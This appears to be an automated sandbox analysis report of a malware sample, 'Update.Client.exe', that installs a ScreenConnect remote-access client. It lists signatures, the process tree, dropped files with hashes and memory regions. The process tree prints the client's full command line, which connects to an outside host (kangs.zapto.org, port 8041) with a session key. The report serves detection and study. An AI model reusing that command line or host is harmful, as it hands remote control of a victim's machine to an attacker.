Analysis

  • max time kernel
    92s
  • max time network
    149s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250218-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250218-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    07/03/2025, 14:36

General

  • Target
    Update.Client.exe
  • Size 81KB
  • Sample250307-ry2g4sslz5
  • SHA256 e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Manipulates Digital Signatures 1 TTPs 2 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Downloads MZ/PE file 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 16 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Update.Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.Client.exe"
    1⤵
    • Manipulates Digital Signatures
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      2⤵
      • Downloads MZ/PE file
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
        "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
          "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4956
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 316
      2⤵
      • Program crash
      PID:4684
  • C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "43a37923-dbde-4ddd-8c44-3d45dfa129c6" "User"
      2⤵
      • Drops file in System32 directory
      • Executes dropped EXE
      PID:2108
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4840 -ip 4840
    1⤵
      PID:4916

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms
          • Size 24KB
          • SHA256 a541874ab32753332b15592f9d15150a51d016125163fb86a438316bb827fdd0
          • MD5 SHA1 SHA512 SSDEEP

          scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms
          • Size 3KB
          • SHA256 6a04f8edc12dd31376e9120c47bcc80efc8ca728ea034c72cff67e65874aa6ec
          • MD5 SHA1 SHA512

          scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms
          • Size 5KB
          • SHA256 1a849558dfd65d75752863ba283f3fdbd3640a48038fc1efa4d9a3ae07967be4
          • MD5 SHA1 SHA512 SSDEEP

          scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms
          • Size 6KB
          • SHA256 ab6c704f0e3c45bff06a62f5128d347df02320a185834094ea3a44f671cc4731
          • MD5 SHA1 SHA512 SSDEEP

          scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms
          • Size 2KB
          • SHA256 6d510bba5459b53b2e2c538484bcec175a4a275f3ca7795a3945d4fb181ea52d
          • MD5 SHA1 SHA512

          scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms
          • Size 14KB
          • SHA256 cb7fe6d8ea548e3c7b4fd2b9ab82b49e66e1cef70c643e0a2a0eebaf7cebb7aa
          • MD5 SHA1 SHA512 SSDEEP

          scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms
          • Size 4KB
          • SHA256 3848f0dc42337d968169421b5681ba2aede2a86fc159840a4776445a970522d0
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.en-US.resources
          • Size 251B
          • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.resources
          • Size 320B
          • SHA256 52dffe148e32a52e24ea0f7451dc70afcc39cb69d690b117b08a09ecb7728eff
          • MD5 SHA1 SHA512

          Client.en-US.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\app.config
          • Size 2KB
          • SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\user.config
          • Size 562B
          • SHA256 71745cc2c0fd249cf508c2f445201cac770b46d1d78deefeddbdd5e6dfcf3195
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
          • Size 1KB
          • SHA256 1cd7775ae8a82676a63170d9e4221862e460db23b85c543aee5556def27d6023
          • MD5 SHA1 SHA512

          ScreenConnect.Client.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Client.dll.genman
          • Size 1KB
          • SHA256 f1bf5014656d836a4c5c42e7ed67ff368d1706c41082e1e4f33abf9cda09d647
          • MD5 SHA1 SHA512

          ScreenConnect.ClientService.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.ClientService.dll.genman
          • Size 1KB
          • SHA256 276b0232a7c76292d34207f916966ea1bcd5cd7e1e1d9a2751c663f06e45b63c
          • MD5 SHA1 SHA512

          ScreenConnect.ClientService.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Core.dll.genman
          • Size 1KB
          • SHA256 ac3c489c02264ff1918fc0b79083a7754b98542a6cc4e2af67eafdbf76c6232e
          • MD5 SHA1 SHA512

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.Windows.dll.genman
          • Size 1KB
          • SHA256 d48afb709e61b86eb6eef67b41d0fa7ec780c4536f5cf9aca7a0b440aed98ef0
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsBackstageShell.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsBackstageShell.exe
          • Size 59KB
          • SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsClient.exe.genman
          • Size 2KB
          • SHA256 8aa9dacc29faef7be40d54b45fba75afc13bf25638d9a46dc4b516529ae74619
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.manifest

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsClient.exe.manifest
          • Size 17KB
          • SHA256 2e0e46f395d5a6440f179b61c4008abf3d72cfcda705a543c8ee18b41d37b025
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsFileManager.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\T1LCGEK1.64G\9KNEWCDN.86M\ScreenConnect.WindowsFileManager.exe
          • Size 79KB
          • SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
          • MD5 SHA1 SHA512 SSDEEP

          CO26OPQQ.L1J.application

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\WTVPW2AB.Q51\CO26OPQQ.L1J.application
          • Size 115KB
          • SHA256 d27d1439c1809ae8eda24f17c9ff9b50271a54d9f200a6793a406b86182b6552
          • MD5 SHA1 SHA512 SSDEEP

          memory/1304-45-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-7-0x0000027537A20000-0x0000027537A70000-memory.dmp

          memory/1304-61-0x00000275377A0000-0x00000275377B8000-memory.dmp

          memory/1304-55-0x0000027537E70000-0x0000027537EA6000-memory.dmp

          memory/1304-49-0x0000027538050000-0x00000275380E6000-memory.dmp

          memory/1304-0-0x00007FFD9DC23000-0x00007FFD9DC25000-memory.dmp

          memory/1304-42-0x0000027538310000-0x00000275384BA000-memory.dmp

          memory/1304-38-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-34-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-1-0x00000275198A0000-0x00000275198A8000-memory.dmp

          memory/1304-2-0x0000027533EA0000-0x0000027534028000-memory.dmp

          memory/1304-3-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-30-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-4-0x00007FFD9DC20000-0x00007FFD9E6E2000-memory.dmp

          memory/1304-67-0x0000027538040000-0x00000275380CC000-memory.dmp

          memory/1304-29-0x00007FFD9DC23000-0x00007FFD9DC25000-memory.dmp

          memory/1548-352-0x00000000046C0000-0x00000000046F6000-memory.dmp

          memory/1548-353-0x00000000049B0000-0x0000000004A42000-memory.dmp

          memory/1548-349-0x0000000004670000-0x00000000046C0000-memory.dmp

          memory/1548-348-0x0000000004EC0000-0x0000000005466000-memory.dmp

          memory/1548-347-0x0000000004760000-0x000000000490A000-memory.dmp

          memory/2108-362-0x00000000013F0000-0x0000000001408000-memory.dmp

          memory/2456-306-0x0000000000290000-0x0000000000326000-memory.dmp

          memory/4956-334-0x0000000004A20000-0x0000000004AAC000-memory.dmp

          memory/4956-329-0x00000000024F0000-0x0000000002508000-memory.dmp